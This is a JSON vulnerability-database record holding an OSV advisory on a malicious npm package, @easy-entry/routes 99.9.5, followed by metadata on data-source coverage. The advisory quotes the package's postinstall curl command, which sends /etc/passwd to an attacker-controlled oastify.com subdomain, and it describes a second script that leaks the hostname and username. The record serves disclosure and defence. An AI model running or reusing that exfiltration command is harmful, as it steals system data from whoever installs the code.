{"id":"MAL-2026-5410","revision":null,"records":[{"revision":"2e4887c7bc0a4b9eb92ee7f17db95aa4","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-5410","aliases":["GHSA-9gwm-xrv4-c436","GHSA-g9fq-cx25-24m4","SNYK-JS-EASYENTRYROUTES-18758928"],"title":"Malicious code in @easy-entry/routes (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (29029f04aa1f06f388096de7cfdda12b92ce4c8dc68c2fe3e6091b318a521516)\nOn `npm install`, the package's postinstall hook in package.json runs `curl --data '@/etc/passwd' $(hostname).200hj786m7x4kfz1lkr4kmshu80zoqcf.oastify.com`, POSTing the contents of /etc/passwd to an attacker-controlled Burp Collaborator subdomain prefixed with the installer's hostname. The same hook executes scripts/scream3gg.js, which hex-encodes os.hostname(), os.homedir(), and os.userInfo().username and issues an HTTP fetch to `http://<hex>.nmd25sur8sjp60lm75dp67e2gtmkaayz.oastify.com`, tunneling installer identity out via subdomain. The package has no legitimate functionality — it ships only the exfil payload. The scoped name `@easy-entry/routes` combined with an absurd `99.9.5` version is a textbook dependency-confusion shape designed to win resolution against an internal-only package of the same name.\n\n## Source: ghsa-malware (3846894fe241ab5de8efc59afd69f338f570f4c34c6ae8ab05b3d51a8dafe9bf)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","state":0,"publishedAt":"2026-06-09T17:18:48+00:00","modifiedAt":"2026-09-24T09:10:39.6433478+00:00","affected":[{"ecosystem":"npm","name":"@easy-entry/routes","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":["99.9.5"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/@easy-entry/routes/v/99.9.5","https://github.com/advisories/GHSA-g9fq-cx25-24m4","https://github.com/advisories/GHSA-9gwm-xrv4-c436","https://security.snyk.io/vuln/SNYK-JS-EASYENTRYROUTES-18758928"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-5410","license":"OSV · upstream source license applies","key":"osv:MAL-2026-5410","identifiers":["MAL-2026-5410","GHSA-9gwm-xrv4-c436","GHSA-g9fq-cx25-24m4","SNYK-JS-EASYENTRYROUTES-18758928"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-12T16:19:13.9264037+00:00","complete":true,"records":1779,"lastAttemptAt":"2026-11-12T16:19:13.9264037+00:00","lastSuccessAt":"2026-11-12T16:19:14.0947214+00:00","error":null,"lastVerifiedAt":"2026-11-12T16:19:14.0947234+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-64752486c567b55b31fb0d7225f5222bcd0019564ac0ac5f0649e242c7b19299-c64cc013e4ac327a566ebd7919181330aa5f66a956ac80541b59e61c9511ffa7","complete":true,"records":424746,"lastAttemptAt":"2026-11-12T16:16:35.996916+00:00","lastSuccessAt":"2026-11-12T16:16:35.9151725+00:00","error":null,"lastVerifiedAt":"2026-11-12T16:16:35.996916+00:00","snapshotPublishedAt":"2026-11-12T15:27:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-0dd173dcc5624b0cb371f5065d625c0e","complete":true,"records":13774,"lastAttemptAt":"2026-11-12T16:19:53.6740078+00:00","lastSuccessAt":"2026-11-12T15:19:09.202+00:00","error":null,"lastVerifiedAt":"2026-11-12T15:19:09.202+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13827,"expectedIdentifiers":13827,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-12T16:19:13.9264037+00:00","complete":true,"records":1097,"lastAttemptAt":"2026-11-12T16:19:13.9264037+00:00","lastSuccessAt":"2026-11-12T16:19:14.0955675+00:00","error":null,"lastVerifiedAt":"2026-11-12T16:19:14.0955686+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a5ed1749d4ca44a88777468d4cc63180","complete":false,"records":13774,"lastAttemptAt":"2026-11-12T16:19:52.8290148+00:00","lastSuccessAt":"2026-11-12T16:19:52.825+00:00","error":"200 identifier lookups failed; latest failures include HttpError (HTTP 503). Other identifiers were checked independently.","lastVerifiedAt":"2026-11-12T16:19:52.825+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13613,"expectedIdentifiers":13827,"failedIdentifiers":200},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-3562b6c78fd1bd0f0b55daf66a0926ae24f65e462df7f6d928caad458fc696bf","complete":true,"records":9947,"lastAttemptAt":"2026-11-12T16:19:13.8670149+00:00","lastSuccessAt":"2026-11-11T04:27:43.6877707+00:00","error":null,"lastVerifiedAt":"2026-11-12T16:19:13.8670149+00:00","snapshotPublishedAt":"2026-11-11T03:32:46+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-456002455e0ab94bb92c95476d4e6d175c104cd594749982afd96c893728ecbc","complete":true,"records":2010,"lastAttemptAt":"2026-11-12T16:16:36.067884+00:00","lastSuccessAt":"2026-11-11T02:36:58.1276999+00:00","error":null,"lastVerifiedAt":"2026-11-12T16:16:36.067884+00:00","snapshotPublishedAt":"2026-11-11T01:17:51+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-0d57668ba92a2918d0664e89ea91d467f8e6a2bc6330923eb883b74ac42a14ec","complete":true,"records":3125,"lastAttemptAt":"2026-11-12T16:19:13.8796609+00:00","lastSuccessAt":"2026-11-12T15:18:36.6112732+00:00","error":null,"lastVerifiedAt":"2026-11-12T16:19:13.8796609+00:00","snapshotPublishedAt":"2026-11-12T14:48:37+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-52c66146e031660a8644f273fd9c179a9dcf81527193679df32e91c1c2afbb7b","complete":true,"records":231703,"lastAttemptAt":"2026-11-12T16:19:13.7355834+00:00","lastSuccessAt":"2026-11-12T16:19:12.0625446+00:00","error":null,"lastVerifiedAt":"2026-11-12T16:19:13.7355834+00:00","snapshotPublishedAt":"2026-11-12T15:33:24+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}